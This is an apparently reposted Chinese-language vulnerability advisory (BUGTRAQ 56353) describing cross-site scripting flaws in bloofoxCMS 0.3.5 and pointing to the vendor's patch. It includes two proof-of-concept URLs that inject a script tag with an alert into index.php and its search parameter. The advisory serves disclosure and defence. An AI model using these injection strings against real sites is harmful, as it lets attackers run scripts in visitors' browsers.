发布日期：2012-10-31
更新日期：2012-11-03受影响系统：
Bloofox.com bloofoxCMS 0.3.5
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 56353bloofoxCMS是一款开源的小型内容管理系统，采用PHP语言开发。bloofoxCMS 0.3.5及其他版本存在安全漏洞， 攻击者可利用这些漏洞在受影响站点的用户浏览器内执行任意脚本代码。<*来源：Canberk BOLAT
*>测试方法：
--------------------------------------------------------------------------------警 告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！http://www.example.com/index.php？'"--&gt;&lt;script&gt;alert（0x0004B3）&lt;/script&gt;
http://www.example.com/index.php？search='"--&gt;&lt;script&gt;alert（0x0004B3）&lt;/script&gt;建议：
--------------------------------------------------------------------------------
厂商补丁：Bloofox.com
-----------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://www.bloofox.com/cms/Cisco Unified MeetingPlace Web Conferencing SQL注入和缓冲区溢出漏洞LibreOffice和OpenOffice多个空指针引用拒绝服务漏洞相关资讯 跨站脚本执行漏洞 bloofoxCMS安全漏洞 bloofoxCMS
- HP Network Node Manager i多个不 （02/05/2013 09:14:03）
- JBoss Enterprise Portal Platform （01/26/2013 08:05:16）
- Advantech WebAccess HMI/SCADA不 （01/11/2013 08:47:20）
| - Google Web Toolkit 跨站脚本执行 （01/26/2013 08:08:23）
- Apache CouchDB 跨站脚本执行漏洞 （01/19/2013 09:24:15）
- Feng Office跨站脚本执行和越权操 （11/25/2012 07:25:26）
|
本文评论 查看全部评论 （0）
评论声明- 尊重网上道德，遵守中华人民共和国的各项有关法律法规
- 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
- 本站管理人员有权保留或删除其管辖留言中的任意内容
- 本站有权在网站内转载或引用您的评论
- 参与本评论即表明您已经阅读并接受上述条款
|
易网时代-编程资源站